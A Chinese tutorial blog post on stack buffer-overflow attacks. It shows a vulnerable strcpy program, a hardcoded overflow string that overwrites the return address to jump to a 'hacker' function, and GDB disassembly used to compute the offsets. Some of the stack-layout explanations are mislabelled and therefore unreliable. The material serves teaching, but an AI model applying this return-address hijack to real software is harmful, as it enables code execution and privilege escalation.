深入理解黑客攻击-缓冲区溢出攻击
缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动
如果有人利用栈中分配的缓冲区写溢出,悄悄地将一段恶意代码的首地址
作为返回地址覆盖写到原先的正确的返回地址处。那么程序在执行ret的时候会悄悄地转移到这个恶意代码段处执行
从而可以轻易获得系统特权,进而进行各种非法操作
造成缓冲区溢出的原因就是系统没有对作为缓冲区的数组进行越界检查
给出一段代码
#include <stdio.h>
#include "string.h"
void outputs(char *str)
{
char buffer[16];
strcpy(buffer,str);//str to buffer
printf("%s \n",buffer);
}
void hacker(void)
{
printf("being hacked\n");
}
int main(int argc,char *argv[])
{
outputs("1234567123456712345671234567\xaa\x84\x04\x08");
return 0;
}
main函数调用outputs函数。
通过对main函数进行反汇编,可以得到
Dump of assembler code for function main:
0x080484be <+0>: push %ebp
0x080484bf <+1>: mov %esp,%ebp
0x080484c1 <+3>: and $0xfffffff0,%esp
0x080484c4 <+6>: sub $0x10,%esp
0x080484c7 <+9>: movl $0x8048584,(%esp)
0x080484ce <+16>: call 0x804847d <outputs>
0x080484d3 <+21>: mov $0x0,%eax
0x080484d8 <+26>: leave
0x080484d9 <+27>: ret
通过对outputs函数进行反汇编,可以得到
Dump of assembler code for function outputs:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: sub $0x28,%esp
0x08048483 <+6>: mov 0x8(%ebp),%eax
0x08048486 <+9>: mov %eax,0x4(%esp)
0x0804848a <+13>: lea -0x18(%ebp),%eax
0x0804848d <+16>: mov %eax,(%esp)
0x08048490 <+19>: call 0x8048340 <strcpy@plt>
0x08048495 <+24>: lea -0x18(%ebp),%eax
0x08048498 <+27>: mov %eax,0x4(%esp)
0x0804849c <+31>: movl $0x8048570,(%esp)
0x080484a3 <+38>: call 0x8048330 <printf@plt>
0x080484a8 <+43>: leave
0x080484a9 <+44>: ret
可以看出,汇编代码
0x08048490 <+19>: call 0x8048340 <strcpy@plt>
是对应于c代码
strcpy(buffer,str);//str to buffer这一句的
那么str[0]是对应于 0x0804848a <+13>: lea -0x18(%ebp),%eax这一句的
那么buffer[0]是对应于 0x08048483 <+6>: mov 0x8(%ebp),%eax这一句的
也就是说strcpy(buffer,str);这一条语句,就是将str数组赋值给buffer数组
而ebp+8的地址就是返回地址所在的内存地址的位置
所以我们必须将-0x18(%ebp)到4(%ebp)之间全部填充满
然后4(%ebp)到8(%ebp)填充为我们想要程序返回的地址
这样函数outputs执行完毕以后,就会返回到我们想要返回的地址
通过对hacker进行反汇编
我们得到hacker函数的首地址
如图所示,hacker函数的首地址为0x080484aa
那么我们就把esp+4到esp+8的区间填充为0x080484aa
可以看到,劫持成功了
深入理解黑客攻击-缓冲区溢出攻击相关推荐
- 黑客中级技术--缓冲区溢出攻击(转)
黑客中级技术--缓冲区溢出攻击(转)[@more@] 缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以导致程序运行失败.系统当机.重新启动等后果. ...
- 网络攻防实验之缓冲区溢出攻击
这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补.也欢迎大佬指点 一.实验目的和要求 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区 ...
- 为什么会有缓冲区溢出攻击专栏
已有一段时间没有写博客,今天打开博客收到网友的私信,问我是否从事与安全相关的工作,以及对从事安全工作有什么好的建议.今晚想借这个机会记录下我写此专栏的缘由. 2014年整整一年,我成为部门的安全工程师 ...
- 计算机系统(2) 实验四 缓冲区溢出攻击实验
计算机系统(2) 实验四 缓冲区溢出攻击实验 一. 实验目标: 二.实验环境: 三.实验内容 四.实验步骤和结果 (一)返回到smoke (二)返回到fizz()并准备相应参数 (三)返回到bang( ...
- 【计算机系统】缓冲区溢出攻击实验
github地址 一. 实验目标: 理解程序函数调用中参数传递机制: 掌握缓冲区溢出攻击方法: 进一步熟练掌握GDB调试工具和objdump反汇编工具. 二.实验环境: 计算机(Intel CPU) ...
- Linux开发_反编译开发_破解简单登录程序外加缓冲区溢出攻击
缓冲区溢出攻击即破坏指定buff的缓冲区大小,使其溢出到别的空间上去,破坏堆栈. 比如有如下代码: #include <stdio.h> #include <string.h> ...
- 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验
缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- 网络安全——缓冲区溢出攻击
1.缓冲区溢出概述 什么是缓冲区?它是指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型.所谓溢出,其实就是所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存 ...
最新文章
- python写web难受-用python写脚本此页面上造成web运行速度减慢
- LESSON 11.4 原理进阶:AdaBoost算法流程详解
- 我和学员那些事儿——涅槃重生的背后
- 跨页数据传递的两种方式
- ghostblog主题_读Ghost博客源码与自定义Ghost博客主题
- java heap排序_关于Java排序算法-堆排序(Heap Sort)
- 2.4 理解指数加权平均
- 零基础转行学习前端,需要学习哪些技术才可以找到工作吗?
- 全文搜索引擎的比较-Lucene,Sphinx,Postgresql,MySQL?
- Excel表格数据生成sql插入语句
- qnx 设备驱动开发_一种QNX系统的USB驱动加载方法与流程
- 蓝桥杯试题c语言蛇形填数,2020十月份蓝桥杯B组省赛题解大全(害!附题面文件和部分代码~)...
- 计算机相关的外国文献,计算机发参考文献外国 计算机发参考文献有哪些
- 微信小程序显示圆形图片
- Python量化交易平台:QMT (日内交易策略示例)
- 常用的Python3关键词提取方法
- 论文理解记录:The Lottery Ticket Hypothesis
- Js 的防抖与节流代码分析
- DBMS的完整性违约处理机制
- 2021-12-06 自动化专业C语言上机作业参考答案04
热门文章
- WPF开发一款软件自动升级组件
- 以下是MySQL增删改查的常用语句汇总
- [小技巧]chrome 标签切换快捷键
- Error running ‘Tomcat 8.5.31’: Unable to open debugger port (127.0.0.1:52506
- EPIC 客户端安装提示错误 EOS-ERR-1603
- 疯狂的大柚柚带你玩转MSP-ESP430G2(基础篇) -----(四)ESP430G2 低功耗模式
- 【Unity组件知识】如何在Unity2020以后版本中打包图集
- android studio 排除,Android Studio从构建中排除类?
- 光储直流微电网simulink仿真模型 双向变换器 ,独立光伏系统能量管理,最大功率点跟踪mppt 在传统的独立光伏发电系统中
- 解决啦idea 中 java文件图标左下角出现红色J